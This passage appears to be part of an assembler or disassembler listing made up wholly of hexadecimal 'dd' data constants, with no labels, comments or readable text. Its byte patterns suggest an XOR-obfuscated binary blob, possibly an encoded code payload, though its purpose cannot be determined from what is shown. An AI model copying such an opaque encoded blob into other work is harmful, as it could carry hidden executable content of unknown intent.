2A295458h, 2A582E2Eh, 2A392E2Eh dd 0C1FA2E2Eh, 2A21545Ah, 2 dup(2AFA2E2Eh), 0D5522E2Eh dd 2AF1A5D1h, 0D0392E2Eh, 2AD1D1D5h, 2A812E2Eh, 0C1392E2Eh dd 2A315458h, 2A392E2Eh, 0D0392E2Eh, 4B2D545Ch, 0C1D1D090h dd 2A35545Ah, 2A522E2Eh, 2AD12E2Eh, 0D5392E2Eh, 0D3D1D1D9h dd 0DDD1D090h, 29D9A42Eh, 0CE812E2Eh, 0CE11E288h, 2911E288h dd 28812E2Eh, 542E2E2Eh, 835CD190h, 0C5D1D17Bh, 54B9D6BBh dd 0AC5CD190h, 0DDD1D095h, 28DE1154h, 2B812E2Eh, 28812E2Eh dd 3D2E2E2Eh, 0C1D1D178h, 155CF23Ah, 162E2E28h, 0C1D1D178h dd 7015642Eh, 3CD1D0EEh, 91D1D1C4h, 2E2E28h, 0D6D1D0EFh dd 415485B9h, 0DDD1D093h, 0F8A41154h, 28D1D0EFh, 0E7812E2Eh dd 0DDD1D093h, 1EA41154h, 28D1D0ECh, 0E9812E2Eh, 4CD19054h dd 5BD1D0ECh, 67D1D0ECh, 0DDD1D090h, 9EA41154h, 28D1D0ECh dd 28812E2Eh, 0C92E2E2Eh, 0DDD1D176h, 0D115642Eh, 26E288D1h dd 0D7D1D0EDh, 28D1D0ECh, 0DD812E2Eh, 2CD151B9h, 0DD812E2Eh dd 2891545Ah, 29812E2Eh, 50D19055h, 2CD1D0EDh, 28D12E2Eh dd 552E2E2Eh, 3F5CD190h, 0DDD1D174h, 0D115642Eh, 0D3E288D1h dd 2C5AD1D1h, 2C912E2Eh, 2E812E2Eh, 2B812E2Eh, 2C812E2Eh dd 2E812E2Eh, 2C812E2Eh, 0F5812E2Eh, 2BA55458h, 2C812E2Eh dd 2E812E2Eh, 2C812E2Eh, 0F5812E2Eh, 2BA55458h, 2C812E2Eh dd 2E812E2Eh, 0CD812E2Eh, 2CA55458h, 26542E2Eh, 2B522E2Eh dd 28812E2Eh, 552E2E2Eh, 155CD190h, 0CDD1D172h, 0C4546FDEh dd 0BB90A17Dh, 2CC42ED1h, 2B542E2Eh, 28812E2Eh, 0FA2E2E2Eh dd 0C1D1D172h, 155CF23Ah, 0D72E2E28h, 0C1D1D172h, 0C515642Eh dd 52DDAC52h, 52D13DACh, 0DD81D511h, 0D4D0D5B9h, 0BBD1D3DDh dd 0B9A42ED1h, 0C591FBE3h, 0D0D1D1D0h, 0D10EDDB9h, 528888D1h dd 0D50ED9ECh, 2FDDA4D0h, 2FD92E2Eh, 2F2D2E2Eh, 0D12E2E2Eh dd 0D1945AD1h, 915AD1D1h, 59A42E81h, 99D1900Ah, 0D52D945Ah dd 0D5BAA4D0h, 2FD1D1D0h, 0D1812E2Eh, 0D15DC42Eh, 0BB25545Ch dd 0D1C42ED1h, 0D18DC42Eh, 0D15A91D1h, 0D01952D1h, 99121889h dd 0D5C1AC52h, 0D9CFA5D1h, 0EDC4A5D3h, 0D3D1D1F6h, 0E152D1D1h dd 52E48239h, 39D11DACh, 16D0E480h, 5AD3D591h, 3A58199Ch dd 0D79416D6h, 5AD1D1D1h, 1658159Ch, 52C1C191h, 585AF111h dd 1D52C990h, 5FF11152h, 0DDD1D0E5h, 58C5945Ah, 5211E2D9h dd 0D1D13DACh, 5A5AC0A5h, 525ADD91h, 39D135ACh, 5AD0E5DCh dd 16581184h, 5AD5D095h, 0D6586D84h, 5A699416h, 16586984h dd 5CC1D095h, 58F1D095h, 5AC9DB95h, 0BB5ADD91h, 5C945CC1h dd 1CF1D095h, 0DDD1D0E3h, 1139AC52h, 0D29C5AE1h, 58945A19h dd 5011E2D9h, 0D3D5E53Dh, 2A5AD1D1h, 2A5A2E2Eh, 2ADE2E2Eh dd 2A2E2E2Eh, 2A522E2Eh, 2AD12E2Eh, 2A5C2E2Eh, 0DD812E2Eh dd 2AF1945Ah, 0C4522E2Eh, 2A90A3F1h, 0DD812E2Eh, 2AD11738h dd 0D5502E2Eh, 2AD1D1D0h, 0D5522E2Eh, 0D1A4A4D1h, 2A5AD5BBh dd 0C4522E2Eh, 0D090A3F1h, 2A5AD1D1h, 0DD812E2Eh, 2A5CF93Ah dd 0D9812E2Eh, 25115489h, 922E2E2Ah, 0A4D1D0E1h, 96C339C9h dd 0A4D1D1F6h, 525D39C1h, 52B9C93Dh, 2ED125ACh, 52A189C4h dd 2ED13DACh, 8 dup(2EA189C4h), 65A189C4h, 0B9D19059h dd 2E905989h, 2 dup(2EA189C4h), 90A189C4h, 7CDDB9D1h, 0EFD1D1D0h dd 0DDD1D0FCh, 5FD9A42Eh, 81D1D1D9h, 582E2E3Fh, 1C5CD190h dd 0C1D1D147h, 2ED239B9h, 64A9522Eh, 812E3F99h, 2ED1D0FDh dd 3CDE2E2Eh, 3C812E2Eh, 9F812E2Eh, 0DDD1D1F6h, 390D545Ch dd 0D9D0FA34h, 21D1D0FDh, 31812E2Eh, 73D1D0FAh, 64D1D0FAh dd 522E3F99h, 52D12DACh, 5281D511h, 0B981DB11h, 0D191EC22h dd 0D2DDAC52h, 5A9C5819h, 0D291D994h, 5A9C5819h, 50102D94h dd 5A2E2E30h, 0D2102D94h, 5A9C5819h, 52262D94h, 0D2D32DACh dd 0D552F7A5h, 0D03AD3A5h, 0D0130A39h, 0D0136D39h, 0D0134939h dd 0D013A539h, 0DDD1D1D5h, 91A41154h, 0DDD1905Bh, 0E5A41154h dd 0DDD1905Bh, 0E1A41154h, 0DDD1905Bh, 91A41154h, 0D72D9458h dd 0DE3AD3A4h, 0D054D16Fh, 0C9D53A89h, 0DA29945Ch, 0F92E2E2Eh dd 39D1D1D5h, 0D8D1DFE0h, 0D188D1D1h, 2E52DDA5h, 5252D7A5h dd 39D13DACh, 32D1C16Dh, 8839D190h, 8088D1D1h, 52BBD1BBh dd 392E2DACh, 2ED1C1B3h, 0C91144DEh, 812E1939h, 0E82FCD39h dd 0D1D1D1D2h, 0D3E2D5A4h, 393D945Ch, 39D1DC92h, 52D1D8D7h dd 0CDD12DACh, 81D1905Bh, 1DF6EC39h, 0C1D1D1DDh, 52299458h dd 18D12DACh, 805A8412h, 5C5211E2h, 0AF812D94h, 0AE51D5B7h dd 0D191D5B7h, 551144DEh, 81D1D1D1h, 0D3D9A42Eh, 0C4BBD1BBh dd 55900E89h, 81D1D1D1h, 0D3D9A42Eh, 0C4BBD1BBh, 59900E89h dd 2ED1D1D1h, 81512E2Eh, 0DBD9A42Eh, 59DDA42Eh, 2ED1D1D1h dd 81512E2Eh, 0DBD9A42Eh, 0DDDDA42Eh, 0A4D1D1D5h, 2AC42ED9h dd 2A522E2Eh, 2AD12E2Eh, 2A812E2Eh, 2A2E2E2Eh, 0D5522E2Eh dd 2AC4A4D3h, 2A812E2Eh, 2A5A2E2Eh, 0D03A2E2Eh, 58D1D1D1h dd 52B92994h, 52D105ACh, 525AD1F1h, 5AD9D571h, 81582994h dd 0D1D9A42Eh, 3985C42Eh, 3AD0F226h, 5A945AD8h, 5258CD91h dd 2ED12DACh, 2E5ADDA1h, 2E5AD9A1h, 522ED5A1h, 522E1DACh dd 52D3D5A9h, 0D1C6D5A9h, 2EA42ED1h, 2EA3D5C4h, 2E5AC1A1h dd 2E2EC9A1h, 39A3D9C4h, 0E3D1DA68h, 391DA42Eh, 5AD1DA44h dd 5A9C5AD1h, 5A581D84h, 585A91D1h, 50945AD0h, 52D3D1E9h dd 39A4D1E9h, 18D0F334h, 805A8412h, 0D1C1A42Eh, 5AE2D5A4h dd 399C5AD1h, 5AD1D5C2h, 0D93110D1h, 0DD5AD15Ah, 0D2D9945Ah dd 399C5AD0h, 0A5D0F3B2h, 812E2E2Eh, 0A5AD545Ch, 2E2E2E2Eh dd 2E522E2Eh, 2E2E2E2Eh, 0D9382E2Eh, 2ED1D1D1h, 2E5A2E2Eh dd 0D1812E2Eh, 0D95AD1BBh, 2E2EE12Eh, 2E522E2Eh, 2ED12E2Eh dd 0A52E2E2Eh, 0F32E2E2Eh, 8154D1D0h, 0A5AD545Ch, 0D12E2E2Eh dd 915AD63Ah, 0EA2D9458h, 5AF4A2D9h, 0D72ED99Ch, 0C188D1D1h dd 52D1D1C1h, 5AD12DACh, 5258D99Ch, 18D1D5B1h, 5A5A8412h dd 915ADD94h, 0EA2D9458h, 5AA2D599h, 0EA5ADD9Ch, 10A3D999h dd 5A81D331h, 0C95CDD9Ch, 0D1945A87h, 915AD63Ah, 0EA3D9458h dd 0EAD9DD59h, 0D9D9DD59h, 39D1D1D1h, 0C4D1D1D2h, 5290A3FDh dd 2ED12DACh, 8016D8A5h, 3AD9945Ah, 91945AD6h, 0EA2D9458h dd 2DA2D599h, 5AD99C5Ah, 915AD99Ch, 0EA2D9458h, 5AA2D599h dd 5A2ED99Ch, 0CA52D99Ch, 0FD88D1D0h, 0A1BBF1BBh, 0DDD1D0CAh dd 3AC1945Ah, 5A945AD8h, 5258CD91h, 5AD12DACh, 522E2D94h dd 0D12E05ACh, 3A05A42Eh, 39A42EC7h, 26D1D306h, 0F15A2E2Eh dd 815CD1BBh, 0DDCB9339h, 26C1945Ah, 81812E2Eh, 26DDA42Eh dd 3A582E2Eh, 5A945AD8h, 5258CD91h, 2ED12DACh, 2E5ADDA1h dd 2E5AD9A1h, 262ED5A1h, 26522E2Eh, 0BB2E2E2Eh, 26642ED1h dd 26392E2Eh, 26EA2E2Eh, 5AA42E2Eh, 26261154h, 26582E2Eh dd 265A2E2Eh, 0D1812E2Eh, 262ED1BBh, 26392E2Eh, 26382E2Eh dd 26EA2E2Eh, 26A42E2Eh, 265A2E2Eh, 2E392E2Eh, 26642E2Eh dd 5A2E2E2Eh, 52182D94h, 2ED12DACh, 3A5AD4A4h, 0EA945AF5h dd 51A3C194h, 185AD1F1h, 2E5A8412h, 0DD2EC5A4h, 6984128Ch dd 3ED1C1C9h, 3ED12E2Eh, 3E912E2Eh, 3E5A2E2Eh, 26EA2E2Eh dd 3DA22E2Eh, 3E2E2E3Eh, 26EA2E2Eh, 26A42E2Eh, 26D12E2Eh dd 26912E2Eh, 3EE22E2Eh, 3EEA2E2Eh, 3E5A2E2Eh, 3E5C2E2Eh dd 0D1812E2Eh, 0A32D545Ch, 2652D190h, 1F812E2Eh, 68D1D0C4h dd 2ED1D1D3h, 2E39812Eh, 0D2D1D1D1h, 3D2ED3BBh, 0D5392E2Eh dd 2E11545Ch, 3DBB812Eh, 0D1392E2Eh, 3C59642Eh, 52D1D0C5h dd 2E2E25ACh, 2E6C522Eh, 3DA4D12Eh, 91392E2Eh, 2E88D1D1h dd 52915A2Eh, 3D2E25ACh, 0B1392E2Eh, 0D1D1D1C1h, 0FF5D545Ch dd 0DDD1D0C5h, 3D5D545Ch, 5A5C2E2Eh, 3D3D1554h, 3D592E2Eh dd 3D5B2E2Eh, 3D592E2Eh, 3D172E2Eh, 585A2E2Eh, 3D5AC199h dd 2EB72E2Eh, 2E3AD12Eh, 0D0DED32Eh, 597A3C39h, 39D1905Bh dd 39D0C292h, 0D0D0C2CBh, 2E7A6A39h, 0D0D1D1D1h, 2E7A7839h dd 0D0D1D1D1h, 2E7A4639h, 0D0D1D1D1h, 2E7A5439h, 0D0D1D1D1h dd 0A57AA239h, 39D1905Bh, 2ED0C37Ah, 0D0D1D12Eh, 2E7A9139h dd 0D0D1D1D1h, 2E7AFF39h, 0D0D1D1D1h, 2E7ACD39h, 0D0D1D1D1h dd 2E7ADB39h, 0D0D1D1D1h, 0B57B2939h, 39D1905Bh, 0D2D0C3E1h dd 0D0B9D1D1h, 597B1439h, 39D1905Bh, 39D0C3CAh, 56D0C023h dd 0D0D1D17Bh, 7B39D1BBh, 3988D1D1h, 0D0D0C04Eh, 0D039D1BBh dd 0CD39D1BBh, 0D0D1D17Bh, 9039D1BBh, 39A42ED1h, 2ED0C092h dd 2E6C522Eh, 0D0A4D12Eh, 0B1786F39h, 39D1905Bh, 2ED0C0C5h dd 0D0DED02Eh, 59785B39h, 39D1905Bh, 39D0C131h, 0D0D0C166h dd 2E788939h, 0D0D1D1D1h, 2E789739h, 0D0D1D1D1h, 2E78E539h dd 0D0D1D1D1h, 2E78F339h, 0D0D1D1D1h, 0A578C139h, 39D1905Bh dd 2ED0C199h, 0D0D1D12Eh, 2E790C39h, 0D0D1D1D1h, 2E791A39h dd 0D0D1D1D1h, 2E796839h, 0D0D1D1D1h, 2E797639h, 0D0D1D1D1h dd 0B5794439h, 39D1905Bh, 2ED0DE1Ch, 0D0D1D12Eh, 5979B339h dd 39D1905Bh, 39D0DE69h, 0D0D0DE5Eh, 0C439D1BBh, 0D0D1D179h dd 9039D1BBh, 39A42ED1h, 0D0D0DEEDh, 1939D1BBh, 0D0D1D176h dd 7639D1BBh, 0D088D1D1h, 395BB5B9h, 2ED0DF31h, 0D0D1D12Eh dd 0B176A939h, 39D1905Bh, 39D0DF1Fh, 2ED0DF74h, 2E3AD12Eh dd 2E58912Eh, 2E545A2Eh, 0D254EA2Eh, 0C43D615Ch, 3D90A3E9h dd 3DB72E2Eh, 76B72E2Eh, 3D26D1D1h, 64592E2Eh, 3D2E3D15h dd 0BBB72E2Eh, 3DBB39D0h, 0C4B72E2Eh, 3D90A3E9h, 0C1B72E2Eh dd 3D21945Ch, 3E522E2Eh, 69812E2Eh, 3D2E2E3Dh, 0E8392E2Eh dd 3D88D1D1h, 0D5522E2Eh, 3DD3A5D1h, 68392E2Eh, 0D1D1D1D3h dd 5238D4A4h, 0D481D511h, 0D4D1D076h, 58D1D376h, 50D37C50h dd 5AD36069h, 5AD36051h, 5258299Ch, 5AD36069h, 3AD36051h dd 0B59416D6h, 5AD1D1D1h, 0D158259Ch, 342DA42Eh, 0C1D19184h dd 52841218h, 72D1DDACh, 0D1D1D1D0h, 72D9A42Eh, 51D1D1D0h dd 52D19032h, 31D12DACh, 2ED1905Bh dd 3 dup(2EA189C4h), 32A189C4h, 0EDD1D190h, 0D1D1D1D0h dd 51DE88D1h, 0D1D19032h, 0D12DB452h, 5235A42Eh, 0D4D13DACh dd 2ED1D151h, 392E35A4h, 0D1D0DA98h, 8138D4A4h, 2E35A42Eh dd 3932ADC4h, 0EAD0DBA2h, 10A23594h, 0D158D339h, 392EDFA4h dd 5AD0DBE5h, 5258299Ch, 585AD911h, 0D152D590h, 0DD25945Ah dd 1121945Ah, 5AD1D0C5h, 5A5AD598h, 2D5847C5h, 5AD1905Bh dd 745CD598h, 39D1D0D8h, 5AD0D87Ah, 0D12ED598h, 81D5C1B9h dd 0DD01642Eh, 0A415545Ch, 5A642E09h, 2F5AD598h, 5A582E2Eh dd 2F5AD598h, 0D5BB2E2Eh, 2FD1D1D0h, 2F812E2Eh, 522E2E2Eh dd 2FD10DACh, 2F542E2Eh, 5A812E2Eh, 0AC5CD598h, 0DDD1D0D9h dd 8705545Ch, 5AD1D0D9h, 515AD598h, 3AD19032h, 2E51B9C6h dd 6139D9A4h, 76D1D1D0h, 68D1D1D0h, 0DDD1D0D6h, 2ED9A42Eh dd 0B054582Eh, 0C1D1D1A0h, 2E817452h, 2E58912Eh, 2E545A2Eh dd 39D9EA2Eh, 2ED1D1D2h, 8111B82Eh, 112E2E2Fh, 2ED1D0C5h dd 2E11B82Eh, 0D511B82Eh, 65D1905Ah, 0C9D1D1A1h, 0D589545Ah dd 52D3A5D1h, 72D12DACh, 52D1D1D0h, 0D181D511h, 0AD2DA42Eh dd 0C1D191B2h, 52841218h, 2E52F13Dh, 5039C5A4h, 91512DACh dd 39393981h, 0D1D0D41Dh, 0A43D945Ch, 2EA42E2Dh, 0D12E25A4h dd 0D25AADA5h, 0A2512D94h, 0D2945A80h, 3 dup(0D2DE3194h) dd 2EDE3194h, 0D139D9A4h, 398888D1h, 0A4D0D4C4h, 0BBF53AD3h dd 0D1D0BBD1h, 915AD63Ah, 0D92D9458h, 0B0BBC4ACh, 594C9739h dd 910F3AD0h, 0D72D9458h, 0B0BBC4ACh, 594CC639h, 0D10F3AD0h dd 915AD63Ah, 0C12D9458h, 0B0BBC4ACh, 594D3939h, 0BB0F3AD0h dd 0DDA9B9D5h, 0D5A41154h, 0DD5AA1B9h, 0D6A41154h, 0DD52D1D0h dd 37A41154h, 3D1D0D3h, 0DDD1D0D3h, 5421545Ah, 642E2A39h dd 0D02E2C39h, 8116D1D1h, 2C5CD1BBh, 2E812E2Eh, 0D0A1DDC4h dd 0D352D7A5h, 2C2EC7A4h, 0D1B92E2Eh, 0D51552D1h, 2C5AC9A4h dd 0D22E2E2Eh, 2A1E54DEh, 2AD12E2Eh, 2A912E2Eh, 2A5A2E2Eh dd 5CEA2E2Eh, 142A0D54h, 0DDD1D0D0h, 0B531642Eh, 0D1D1905Ah dd 641552D1h, 0B52E2A31h, 0D1D1905Ah, 2C1552D1h, 2E392E2Eh dd 2CA1F9C4h, 5C812E2Eh, 2C5CD190h, 9812E2Eh, 5AD1D0D1h dd 2CD1D14Ah, 0C4812E2Eh, 2C90A17Dh, 0D0812E2Eh, 0C1B9D3BBh dd 4C29642Eh, 2CD1D1D1h, 5C812E2Eh, 2C5CD190h, 0C5812E2Eh dd 2FD1900Ch, 16812E2Eh, 2CD1D14Bh, 0FC812E2Eh, 2FD1D0D1h dd 2 dup(2F812E2Eh), 0D2812E2Eh, 0DEBBD1BBh, 0D1D1BBD1h dd 0D3B9D1BBh, 0C451D1D1h, 1B90A181h, 68D1D12Fh, 0C4D1D12Fh dd 0A490A1EDh, 2EA42EDDh, 2EA1C1C4h, 2EA1D5C4h, 52A1F9C4h dd 91D12DB4h, 0EA2D9458h, 0DEA22594h, 5A52D16Fh, 5A5CD99Ch dd 0A1182994h, 5081D190h, 5A2E2E2Eh, 0C4512D94h, 0D990A1E9h dd 9139D5BBh, 0EA359458h, 5AA43194h, 8E5C3594h, 5CD1D12Ch dd 2E813994h, 0A4A031C4h, 0D134390Dh, 2E8188D1h, 0BB2E09A4h dd 0D5C42ED1h, 2DD1D1D0h, 0D1812E2Eh, 0D15DC42Eh, 91317452h dd 0D53D9458h, 2CD1D1D0h, 5C812E2Eh, 2C5CD190h, 47812E2Eh dd 0FC88D1D1h, 2CD1D12Dh, 0DD812E2Eh, 0BB31545Ah, 0C43F39D1h dd 9090A181h, 44D1D12Ah, 88D1D1h, 0C4E52E31h, 0C4D1D12Ah dd 2D90A17Dh, 0D0812E2Eh, 0DD2A7B39h, 0D5D14638h, 0C439545Ch dd 0C490A179h, 7990A179h, 2E2E2E2Bh, 2E39812Eh, 2E81882Eh dd 2B39812Eh, 0DD52D1D1h, 2E495416h, 2ED1952Eh, 0F95CD12Eh dd 0A1BBD0BBh, 0D52ED190h, 2CD1D1D0h, 0D1812E2Eh, 2F5DC42Eh dd 5C812E2Eh, 2F5CD190h, 0AF812E2Eh, 2FD1D128h, 0DD812E2Eh dd 9B29545Ah, 2D2E2E2Bh, 71D1903Ah, 4BD1905Fh, 2D2E2E2Fh dd 5DD1903Ah, 0D1D1905Fh, 0DD28B139h, 2925545Ch, 2D2E2E28h dd 71D1903Ah, 0C7D1905Fh, 0D539D1D1h, 0DDD1D129h, 0D1D9A42Eh dd 64D5D9B9h, 0DE2E2BFDh, 2B93546Fh, 64812E2Eh, 5F2E2BFDh dd 282ED190h, 69812E2Eh, 3DD1905Fh, 0C5D1D1B1h, 2F2DAC52h dd 0DDD1D127h, 64E05417h, 0DD2E2BFDh, 0DBFD642Eh, 64F5545Ch dd 0D12E2BE3h, 64F5545Ch, 0D92E2BE5h, 0A15CD1BBh, 0DDD1D127h dd 64F16C52h, 0DD2E2BFDh, 64FD642Eh, 2 dup(642E2BFDh) dd 0DD2E2BF1h, 64A41154h, 642E2BF1h, 0DD2E2BFDh, 1DA41154h dd 6CD1D1D0h, 39D1D1D0h, 0DDD1D125h, 0D1D9A42Eh, 0E9BB88D1h dd 912E2E01h, 0A62E2E2Fh, 0C1D1D18Fh, 0D5D239B9h, 0D1D8A4D1h dd 0E55888D1h, 372E2E2Fh, 0E5D1D122h, 1F2E2E2Fh, 0E5D1D122h dd 182E2E2Fh, 0DDD1D122h, 0FCE5642Eh, 2ED191A2h, 0C12E882Eh dd 0DDDDAC52h, 0D129945Ch, 523AD3A4h, 5281D511h, 5281DB11h dd 9C81CB11h, 0C5D191A7h, 80841218h, 52D9A42Eh, 0D1D12DACh dd 993AD3A4h, 0DE2D9458h, 5152D16Fh, 183AD1F1h, 805A8412h dd 91B45280h, 0DE2D9458h, 3954D16Fh, 20D123F4h, 2E88D1D1h dd 0DD39D9A4h, 0D1C19C5Ah, 815C81A5h, 0DD5E9DB9h, 3A299C5Ah dd 0D1B452D5h, 5829945Ah, 5A3A50C5h, 945CC19Ch, 0DDD1D120h dd 5AC9945Ah, 0F65CC59Ch, 0DDD1D120h, 9129945Ah, 0DE2D9458h dd 0D154D16Fh, 915AD63Ah, 0E8259458h, 0DEAE2594h, 0DE5AD16Fh dd 2E5AD16Fh, 815AC1A4h, 0DD25E639h, 3AA41154h, 915D3AD5h dd 0DE2D9458h, 3A54D16Fh, 0DE945ABFh, 0DE52D16Fh, 0D252D16Fh dd 3 dup(0D25A2994h), 0DD3A2994h, 52DD945Ah, 91D129B4h dd 0DE2D9458h, 0D052D16Fh, 5BD1D1D1h, 0DED959D8h, 0D054D16Fh dd 0D1115489h, 915AD63Ah, 0D52D9458h, 0DE5A82ACh, 5152D16Fh dd 5A5AD1F1h, 0DE5CDD9Ch, 5154D16Fh, 3A5AD1F1h, 5A945AC5h dd 5BD2DD9Ch, 0D2D959D8h, 58E2D6AFh, 2E522994h, 0D02ED9A4h dd 0DBD33A89h, 2EC5A42Eh, 0D1D1D1D1h, 0DD546F39h, 0DEC9945Ah dd 0BBD14454h, 81A42EDBh, 0DD210939h, 269467DEh, 0A411CA09h dd 0D181B9C0h, 0D18888D1h, 818888D1h, 0C5D9A42Eh, 81A41154h dd 812D945Ch, 0C5DDA42Eh, 81A41154h, 810D945Ch, 0C521C9B9h dd 54A41154h, 81D6A411h, 813D945Ch, 0C52FF639h, 81399458h dd 8125945Ch, 0C52FD839h, 81399458h, 812D945Ch, 0C52C3A39h dd 81399458h, 8111945Ch, 0C52C1C39h, 85399458h, 0D0D1905Eh dd 0F1121889h, 812D945Ch, 8135945Ch, 0C5D9A42Eh, 81A41154h dd 8121945Ch, 3929945Ch, 0C52E2D43h, 81A41154h, 813BBB39h dd 543B8239h, 81DEA411h, 0F42D945Ch, 0D0D1D13Bh, 0DD121889h dd 5AD9AC52h, 0DEDE2D94h, 3A5AD16Fh, 0DE945A0Ch, 5A54D16Fh dd 5A58DD94h, 0DEDE2594h, 0DE5AD16Fh, 91EAD86Fh, 91259458h dd 0DE2D9458h, 5A54D16Fh, 3A912594h, 26945A66h, 5211CA09h dd 0B939F13Dh, 0D1D1D239h, 0E483DBBBh, 52D1D13Bh, 16D12DACh dd 0D1B52194h, 0D13DAC52h, 3 dup(0D1A3C2A6h), 2 dup(0D13DAC52h) dd 0CA29945Ah, 58D23D9Ch, 5A582994h, 5A182994h, 0D151D994h dd 0CEB9C2A5h, 0D6D9A42Eh, 5AD9D1B9h, 3A51D994h, 54D0BBD2h dd 0DDD1D136h, 29D9A42Eh, 29812E2Eh, 29D42E2Eh, 295A2E2Eh dd 29E22E2Eh, 0C1E22E2Eh, 2BD1D1DFh, 295A2E2Eh, 0C1E22E2Eh dd 0EDD1D1DFh, 29202688h, 28812E2Eh, 2B812E2Eh, 0C4222E2Eh dd 4390A1E1h, 2B52D190h, 3 dup(2BD52E2Eh), 0D1D42E2Eh dd 2B52EB3Ah, 2BD42E2Eh, 51D42E2Eh, 2A2A5574h, 2A582E2Eh dd 0BB582E2Eh, 29DDB9D1h, 2AD12E2Eh, 29812E2Eh, 0D1812E2Eh dd 294029B9h, 0D02E2E2Eh, 59A9545Ch, 0DD2E2E24h, 2E25642Eh dd 2B40252Eh, 40D02E2Eh, 4052D190h, 285CD190h, 2E812E2Eh dd 2B642E2Eh, 2E2E2E2Eh, 6428C164h, 2B2E28C5h dd 2B2E2E2Eh, 0D52E2E2Eh, 0D1D19040h, 0CCD1D1D5h, 85D1D135h dd 5C29545Ch, 4228E954h, 0DDD1D19Ch, 0D1E5642Eh, 523AD3A4h dd 0D181D511h, 7C2DA42Eh, 0C1D19152h, 52841218h, 0F12EFD3Dh dd 0B9D1D132h, 76D1D601h, 0C12E2E19h, 0D2299458h, 0EC3AD1D1h dd 58D1D239h, 393A0594h, 18D1D1D2h, 525A8412h, 0B9B9C93Dh dd 0B9905EBDh, 0B9905E41h, 0D2905E61h, 0D2D22994h, 0D2D22194h dd 0E9E23994h, 5ED1D1D5h, 0D1D1D190h, 915AD63Ah, 0D22D9458h dd 5E3D52DEh, 1A5CD190h, 0AFD1D130h, 2ED1D1ADh, 8539812Eh dd 0D1D1D1ADh, 0FB5481B9h, 0C12E2E16h, 2E215458h, 2D6C522Eh dd 25812E2Eh, 0D1D19052h, 62D1D1D3h, 0C5D1D130h, 0E729545Ch dd 64D1D130h, 0DD2E2D21h, 2E3D7452h, 2A39D12Eh, 2E522E2Eh dd 0D1B9D12Eh, 64D1D1D3h, 0C12E2D21h, 2A315458h, 2EEC2E2Eh dd 2DD1D12Eh, 2ED12E2Eh, 2D32392Eh, 2A582E2Eh, 2A522E2Eh dd 2A582E2Eh, 2A2E2E2Eh, 2D3A2E2Eh, 2DD22E2Eh, 0AD382E2Eh dd 76D1D1DBh, 0D4D1D1D0h, 0DDD1D131h, 0C9D9A42Eh, 2AD19021h dd 0C9812E2Eh, 0D1D19021h, 2AD5D0B9h, 26812E2Eh, 262E2E2Eh dd 512E2E2Eh, 51D1D080h, 0C1D1D080h, 51D1D1DFh, 0C1D1D080h dd 0EDD1D1DFh, 26202688h, 0D5B92E2Eh, 25D1D10Eh, 0D1D1D10Fh dd 2ED151B9h, 0C45C812Eh, 7E900E9Dh, 4CD1D10Fh, 26D1D10Fh dd 42A12E2Eh, 0D050D190h, 26A2D1D1h, 2AB12E2Eh, 52582E2Eh dd 4026056Ch, 2 dup(4052D190h), 262ED190h, 582E2E2Eh, 26245554h dd 262E2E2Eh, 2A812E2Eh, 55812E2Eh, 0D1D19043h, 26D1D1D5h dd 99812E2Eh, 5C3D545Ch, 0DB247554h, 0DDD1D196h, 0D171642Eh dd 525888D1h, 52D12DACh, 0D181D511h, 0E12DA42Eh, 0C1D1915Ah dd 52841218h, 5270F53Dh, 0C4D121B4h, 8190A11Dh, 8139945Ch dd 0C435945Ch, 8190A119h, 0DD0DAD39h, 39B9D1BBh, 58D10C5Ch dd 5A5A3184h, 5BD2259Ch, 0DED53594h, 1835946Fh, 505A8412h dd 0D4D40D3Dh, 0DDD1D10Dh, 0D4D9A42Eh, 2AED6F88h, 2A522E2Eh dd 2AD12E2Eh, 0F1812E2Eh, 0C9D19045h, 0C1D19045h, 0D9D19045h dd 2AD19045h, 2 dup(2A812E2Eh), 0D9812E2Eh, 2A5CD1BBh dd 2A812E2Eh, 2A392E2Eh, 64582E2Eh, 2AD1D10Bh, 2ADA2E2Eh dd 5C2E2E2Eh, 2A2A0D54h, 35812E2Eh, 2AD19042h, 5C812E2Eh dd 2A2A0D54h, 5812E2Eh, 2AD19042h, 2A812E2Eh, 2A5A2E2Eh dd 2AD22E2Eh, 2A5A2E2Eh, 2AD52E2Eh, 2ADE2E2Eh, 36522E2Eh dd 2AD1D108h, 4D812E2Eh, 2AD19042h, 5C812E2Eh, 0A52BE154h dd 0DDD1D192h, 52FD642Eh, 52D12DACh, 0D181D511h, 0FF2DA42Eh dd 0C1D1915Eh, 52841218h, 0C45CC93Dh, 0D190A105h, 0D1AE99ADh dd 2EAEEBADh, 2E2E21A4h, 0E3929A4h, 398039BCh, 52D1D1D2h dd 0C45CC93Dh, 0D190A105h, 2EAE92ADh, 2E2E21A4h, 0E3929A4h dd 398039BCh, 0C4D1D1D2h, 0D190A105h, 0D1AE98ADh, 2EAEEAADh dd 2E2E21A4h, 0E3929A4h, 0BB8039BCh, 90A9B92Eh, 0D170B5D1h dd 0DD8080D1h, 0D1868782h, 2E2DB452h, 5939D9A4h, 0DDD1900Ah dd 2E2EC33Ah, 52583184h, 3A2E2D9Ch, 2E9C52F4h, 45B9CC3Ah dd 392ED190h, 0DD2E4F01h, 2EB45A12h, 0D95A11E2h, 52071139h dd 25D125ACh, 5AD99C5Ah, 0B958DD9Ch, 0D1914267h, 0C908D039h dd 0D12D9458h, 2E2EDFA5h, 39A175C4h, 2ED107BAh, 0D1A359B9h dd 5D8080D1h, 0B1D1D1D0h, 2F11E288h, 58812E2Eh, 2E2F8D54h dd 2E8D545Ah, 0DD393DA4h, 2EB45A12h, 795A11E2h, 5AD19032h dd 0D15A2594h, 0D12ECAA4h, 5852D1D1h, 5A945AD9h, 2E58D99Ch dd 522E2DA4h, 0DD81C511h, 522DB452h, 3AD1D5B1h, 58945AD7h dd 525A3D94h, 0D181DD11h, 373DA42Eh, 0D1D19145h, 0C939D1BBh dd 52259C5Ah, 0D1D1D9A9h, 0F825945Ch, 0DDD1D105h, 793279B9h dd 0D5D19032h, 5088D1D1h, 0B9D0453Dh, 11903279h, 11D1D049h dd 79D1D049h, 54D19032h, 0C1D1D1D0h, 2F3279B9h, 2FD12E2Eh dd 2F912E2Eh, 2F522E2Eh, 11C12E2Eh, 0BDD1D049h, 112E2E2Fh dd 11D1D049h, 79D1D049h, 0D0D19032h, 0B92ED1D1h, 0C1903279h dd 0B85ABDA2h, 11D04911h, 0D1D1D049h, 112D945Ah, 54D1D049h dd 2FD1D1D0h, 52812E2Eh, 2F2FB974h, 2F912E2Eh, 2F522E2Eh dd 2FC12E2Eh, 99B82E2Eh, 2F259458h, 2F812E2Eh, 2FB82E2Eh dd 